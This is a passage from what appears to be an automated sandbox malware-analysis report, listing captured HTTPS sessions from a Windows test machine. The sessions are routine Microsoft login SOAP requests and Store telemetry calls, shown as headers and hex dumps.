dd 45 75 6a d1 85 9b 7c 0a 7a 10 fd 4f b0 15 4a a7 32 ba 3e 5b 17 82 f6 32 e4 92 7f 2f f8 63 a8 b6 1f 68 6c 49 70 24 39 ea 
1c e3 fc fe 15 23 4d 1c 1b 80 11 79 63 e8 f8 fc ab 06 c2 e2 da d6 da 46 86 49 2e 37 1c 1e 41 c9 fa 13 9f d2 95 f5 eb 0b 18 
24 31 c4 52 73 f7 89 7c 1f fb e4 64 7e 95 57 d0 f1 25 87 94 a4 d4 53 67 57 a6 4c b7 42 25 fb 21 7c 67 12 03 8f d2 af cf 0f 
da 96 48 e4 b8 16 d0 81 9e 84 57 2d a6 6b 56 13 40 01 85 ae 5d ba 03 19 55 07 ea 31 9a 93 50 f1 12 69 f0 ce 8f 61 35 e4 
fb 46 c8 a3 f9 55 49 e8 4e 73 c7 e3 55 75 6b b3 86 78 5a 92 a9 cb 14 d3 fe bb bf f2 3a 1b 51 6b 6b 6d b2 02 2e d8 74 3b 
f6 03 f8 10 4f eb 56 2e 2d 22 ba b0 1f 6f bd 
Data Ascii: jXE<;ryA<"ySL5Euj|zOJ2>[2/chlIp$9#MycFI.7A$1Rs|d~W%SgWLB%!|gHW-kV@]U1Pia5FUINsUukxZ:Qkkm
.t;OV.-"o

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

7 192.168.2.4 49732 20.190.159.137 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:32 UTC 82 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 
10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4740
Host: login.live.com

2021-11-25 16:27:32 UTC 82 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 
73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 
65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 
6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 
73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2021-11-25 16:27:32 UTC 119 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Thu, 25 Nov 2021 16:26:32 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 1c79ab0c-0849-4ec6-aab7-672121506180
PPServer: PPV: 30 H: BL02PF1297B4D4B V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Thu, 25 Nov 2021 16:27:32 GMT
Connection: close
Content-Length: 11297

Copyright Joe Security LLC 2021 Page 204 of 214



2021-11-25 16:27:32 UTC 119 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

70 192.168.2.4 49879 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:13 UTC 5263 OUT GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid
=128000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&an
id=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install
&ctid=store-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162845Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:29:13 UTC 5264 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: b1a75a4f-7c6c-4bdf-b8c5-c250c2749441
Date: Thu, 25 Nov 2021 16:29:12 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

71 192.168.2.4 49880 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:13 UTC 5264 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=12
8000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NCBCSZSJRSB&skuId=0010&installKind=
Install&ctid=store-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162846Z 
HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:29:13 UTC 5265 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 7f0707ce-1b83-42ad-9345-1b58f9c419e8
Date: Thu, 25 Nov 2021 16:29:12 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

72 192.168.2.4 49881 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:13 UTC 5265 OUT GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid
=128000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&an
id=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NXQXXLFST89&skuId=0010&installKind=Install
&ctid=store-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162847Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:29:13 UTC 5266 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: ff31696a-30ac-44a7-bb2c-7b1bcfb674ee
Date: Thu, 25 Nov 2021 16:29:13 GMT
Connection: close
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Session ID Source IP Source Port Destination IP Destination Port Process

73 192.168.2.4 49882 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:14 UTC 5266 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=12
8000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ct
id=store-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162848Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:29:14 UTC 5266 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: ba0f387c-0762-4ce6-b146-b92e17d6be15
Date: Thu, 25 Nov 2021 16:29:14 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

74 192.168.2.4 49883 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:14 UTC 5267 OUT GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid
=128000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&an
id=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9WZDNCRFJ3Q2&skuId=0010&installKind=Install
&ctid=store-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162849Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:29:15 UTC 5267 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 89c11ed0-47e9-4331-98d9-2c73bc6d60e4
Date: Thu, 25 Nov 2021 16:29:14 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

75 192.168.2.4 49885 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:15 UTC 5267 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=12
8000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9WZDNCRFJ3Q2&skuId=0010&installKind=
Install&ctid=store-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162851Z 
HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:29:15 UTC 5268 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: a116dbd9-bced-4d9b-b232-a83342cb13ca
Date: Thu, 25 Nov 2021 16:29:14 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

76 192.168.2.4 49886 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:29:15 UTC 5268 OUT GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid
=128000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&an
id=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install
&ctid=store-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162852Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:29:15 UTC 5269 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 8a2f0c02-1200-4a5f-8633-9accf77d4fd1
Date: Thu, 25 Nov 2021 16:29:15 GMT
Connection: close

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

77 192.168.2.4 49887 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:15 UTC 5269 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=12
8000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ct
id=store-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162853Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:29:15 UTC 5270 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 8fbf8ff9-0a6b-4061-8f81-4447bff81912
Date: Thu, 25 Nov 2021 16:29:15 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

78 192.168.2.4 49888 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:15 UTC 5270 OUT GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid
=128000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&an
id=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install
&ctid=store-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162854Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:29:15 UTC 5270 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 1cccf505-b55e-4850-b61e-8e4a433182c8
Date: Thu, 25 Nov 2021 16:29:15 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

79 192.168.2.4 49889 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:16 UTC 5271 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=12
8000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ct
id=store-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162855Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
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2021-11-25 16:29:16 UTC 5271 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 1a1409e3-33d2-4bc1-9f9d-f4d190793692
Date: Thu, 25 Nov 2021 16:29:15 GMT
Connection: close

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

8 192.168.2.4 49733 20.190.159.137 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:32 UTC 87 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 
10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4740
Host: login.live.com

2021-11-25 16:27:32 UTC 87 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 
73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 
65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 
6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 
73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2021-11-25 16:27:32 UTC 97 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Thu, 25 Nov 2021 16:26:32 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 6cc22c07-c434-4c61-97e8-0458bbda1f8f
PPServer: PPV: 30 H: BL6PPF63587A0CE V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Thu, 25 Nov 2021 16:27:32 GMT
Connection: close
Content-Length: 11297

2021-11-25 16:27:32 UTC 97 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID Source IP Source Port Destination IP Destination Port Process

80 192.168.2.4 49890 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:16 UTC 5271 OUT GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid
=128000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&an
id=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9WZDNCRFHVFW&skuId=0010&installKi
nd=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162856Z 
HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:29:16 UTC 5272 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 9622afe5-886e-4ac2-8b63-58a94134467f
Date: Thu, 25 Nov 2021 16:29:15 GMT
Connection: close
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Session ID Source IP Source Port Destination IP Destination Port Process

81 192.168.2.4 49891 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:16 UTC 5272 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=12
8000000001392709&tid=700342084&reqasid=023b8a288b874e2f99dbaa7856cac352&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9WZDNCRFHVFW&skuId=0010&installKind=
Install&ctid=store-curated-postoobe&bSrc=i.t&asid=0ec57a76fd2746b1b80fb2457281a4bb&time=20211125T162858Z 
HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:29:16 UTC 5273 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: c3735840-32bd-48ba-bace-2a46aae1ffc0
Date: Thu, 25 Nov 2021 16:29:16 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

82 192.168.2.4 49892 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:16 UTC 5273 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=12
8000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NBLGGGZM6WM&skuId=0010&installKind=
RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=2021112
5T162900Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:29:16 UTC 5274 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 21443cd6-a770-469e-b912-824addafe455
Date: Thu, 25 Nov 2021 16:29:15 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

83 192.168.2.4 49893 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:16 UTC 5274 OUT GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid
=128000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&an
id=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install
&ctid=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=20211125T162902Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:29:17 UTC 5274 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 9a2e9148-c465-40d0-94e6-aa44283a9932
Date: Thu, 25 Nov 2021 16:29:16 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

84 192.168.2.4 49894 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:29:17 UTC 5275 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=12
8000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9WZDNCRFJ27N&skuId=0010&installKind=
Install&ctid=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=20211125T162903Z 
HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:29:17 UTC 5275 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 330496c2-f998-485d-a63a-7a706fbee608
Date: Thu, 25 Nov 2021 16:29:17 GMT
Connection: close

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

